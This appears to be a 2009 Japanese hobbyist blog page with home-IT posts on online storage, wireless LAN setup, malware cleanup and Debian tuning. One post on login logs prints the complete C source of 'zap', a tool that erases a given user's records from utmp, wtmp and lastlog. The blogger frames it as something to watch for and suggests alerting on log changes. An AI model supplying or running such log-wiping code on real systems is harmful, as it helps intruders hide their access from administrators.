2009年3月29日日曜日

静止画像・動画のアップロードと無料のオンラインストレージ

上記の題で、どこが良いのかを試行錯誤中!

自宅サーバは、電力がもったいないので、電気を止めておくことが多いし、ハードディスクが壊れたらおしまいだ。
無料のオンラインストレージは、いつサービスが中止になってもおかしくないが、電気台や修理を考えるとメリットが大きい。

まずは、hotmailの SkyDrive
これは、25GBも使える!!
ただし、外部から画像と動画がどのように使えるのかが問題だ。

で、画像jpgと、動画flvをアップしてみた。











どちらも、livefilestore.comというところに保存されていた。
アップロードした画像を他のウェブサーバで使いたいとき、直接のリンク元がmicrosoftから知らされていないが、ソースをみると、書いてある。

で、<img>タグで表示してみたのが上のもの。

同じように動画のリンク元もわかるが、他のウェブサーバで使おうとすると、ダウンロード画面になってしまって上手につかえない(google crome使用)。

とりあえず画像ならOKということで、GOOGLE picasaよりも使いよいかな。

2009年3月22日日曜日

無線LAN

自宅で、中古(2001年生産品)の無線LANのアクセスポイントを2つ使っている。
WLA-G54C(1階)とWBR-G54(2階)です

DHCP有効で、普通にパスワードをかけた運用です。
WLA-G54C(1階)はノートパソコンの接続用(1階にもLAN端末がのびている)。
WBR-G54(2階)はプリンター接続用。
チャンネル数はそれぞれ違うものを設定してある。

今年はWIIとDS-LITEを購入したので、WLA-G54C(1階)をAOSSにした。
WIIとDS-LITEはWLA-G54Cに苦労無く継りました。

ところがノートパソコンのひとつはWLA-G54C(1階)にAOSSで成功するものの、もう1台のノートパソコンがAOSSに継りません。
WBR-G54(2階)にはすぐに継ります。
WLA-G54C(1階)には
なんどやっても接続できない(チャンネルを変更したり・・・)でのあきらめてましたが、久しぶりに、トライです。
WBR-G54(2階)の電源をきってみると、苦労無く継ながりました。

私の自宅から、他の家のアクセスポイントもいくつか見えますが、AOSSは、他のAOSSでないアクセスポイントが近くにある場合、接続に失敗することがあるようです。

WBR-G54(2階)の方は、セキュリティ面が心配なので、MACアドレス制限をかけました。これで少しは安心かな。
(パスワードを破られれば駄目ですが)


2009年3月20日金曜日

ウイルスチェック

windows2K機をトレンドマイクロのオンラインチェックをしてみたら、system32¥cmdialg3.dllが「マルウェアである」という診断を受けて(他にも2つあるが)、このオンラインプログムで削除しようとしたら、「これだけは削除できない」というメッセージがでて、少し焦る。 
(日本語のページで、この物に関する事柄は一切でてこない。もしかしたら、無実・無害のマルウェアか)

1.セーフモード+コマンドで起動(余計なデーモンとして起動させないため)
2.該当DLLを削除(コマンドで)

windowsを通常モードで起動し直して・・・・(ここで、多分先ほど削除したDLLが無いというメッセージが表示される)

3.レジストリで、RUNDLLの部分に、このDLLを起動させているものがあるので、このキーを削除
  (だいたい、こういうものは、そのような起動をさせる)

と対応して、無事完了。再起動してスムースに起動するか確認。
※再度のオンラインチェックで、確認・・・OK。

2009年3月18日水曜日

アクセスログの記録と消去

debianのログは、/etc/syslog.confに設定情報が書いてある(redhat系と同じ)

auth,authpriv.* /var/log/auth.log
*.*;auth,authpriv.none -/var/log/syslog
#cron.* /var/log/cron.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
lpr.* -/var/log/lpr.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log
uucp.* /var/log/uucp.log

で、ssh等でログインすると、そのログインユーザーの履歴が、wtmp ,utmp ,lastlog等に残ります。

で、その残った履歴の消去は、ネット上にzapという名前で残ってます。
ちょっと調べると、C、C++でファイルが残っていました。


#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

で、これをコンパイルして、実行すると、引数で渡されるユーザー情報が消去されます。


似たものに、zap3がありました。
どちらも プログラム自体は単純です。

もしも、侵入が予想される場合、bash_historyに記録が残るので、侵入者は該当部分のコマンドを消すはずです。
utmpやwtmpが編集・変更された場合、メールがくるようにシステムを作るといいのかな。
(あまり頻繁に不要なメールがくるのもいやですが)

2009年3月15日日曜日

グラフィカルログインとテキストモードログイン

redhat系を長年いじっていたので、ログインモードの変更は/etc/inittabだけ変更すればいいものだと思っていたが、debianは少しちがうようだ。
サーバーマシンが非力なので、テキストモードに変更することにした。
gdm関係を切ってもいいのだが、テキストログインに変えることにした。

---------------------------------------------------
aptitude install sysv-rc-conf
ランレベルに対応する起動デーモンの変更
ランレベル3のものでを使わない様にする。

/etc/inittabの編集
id:2:initdefault:

id:3:initdefault:

oh:~# ps ax|grep gdm
2777 ? Ss 0:00 /usr/sbin/gdm
2783 ? S 0:00 /usr/sbin/gdm
2788 tty7 Ss+ 0:03 /usr/bin/X :0 -dpi 96 -audit 0 -auth /var/lib/gdm/:0.Xauth -nolisten tcp vt7
2897 ? Ss 0:04 /usr/lib/gdm/gdmgreeter
3052 pts/0 S+ 0:00 grep gdm

oh:~# ps ax|grep gdm
2936 pts/0 R+ 0:00 grep gdm

これでテキストモードログインになった。
メモリも少し使わないようになった。

ついでに仮想メモリの使用量を減らしておく
メモリ使用量を減らす

top - 16:08:02 up 8:45, 1 user, load average: 0.19, 0.08, 0.02
Tasks: 90 total, 1 running, 89 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.3%us, 0.3%sy, 0.0%ni, 99.3%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 256012k total, 251876k used, 4136k free, 42480k buffers
Swap: 1967952k total, 0k used, 1967952k free, 129612k cached


/etc/inittabで、グラフィカルログインを止める効果

top - 16:06:13 up 8:43, 1 user, load average: 0.06, 0.02, 0.00
Tasks: 86 total, 1 running, 85 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.3%us, 0.3%sy, 0.0%ni, 99.3%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 256012k total, 242740k used, 13272k free, 45804k buffers
Swap: 1967952k total, 0k used, 1967952k free, 135744k cached

とFree Memoryが劇的に増えた。
さらに、/etc/inittabで、仮想コンソールの数を減らす効果
ついでにこれは、接続していない無停電のdaemonも削る。

top - 16:20:06 up 4 min, 1 user, load average: 0.23, 0.46, 0.24
Tasks: 82 total, 1 running, 81 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.3%us, 0.3%sy, 0.0%ni, 99.3%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 256012k total, 155596k used, 100416k free, 8288k buffers
Swap: 1967952k total, 0k used, 1967952k free, 90612k cached

おっ、僅かに減ると思ったら、劇的に減っている。
4136k free→100416k free

さらに、今は使っていない不要なサービス webmin 等を止める。

top - 16:33:26 up 3 min, 1 user, load average: 0.18, 0.36, 0.17
Tasks: 78 total, 1 running, 77 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.7%us, 0.3%sy, 0.0%ni, 99.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 256012k total, 119268k used, 136744k free, 6352k buffers
Swap: 1967952k total, 0k used, 1967952k free, 66196k cached

4136k free→ 136744k free

結構節約になりました。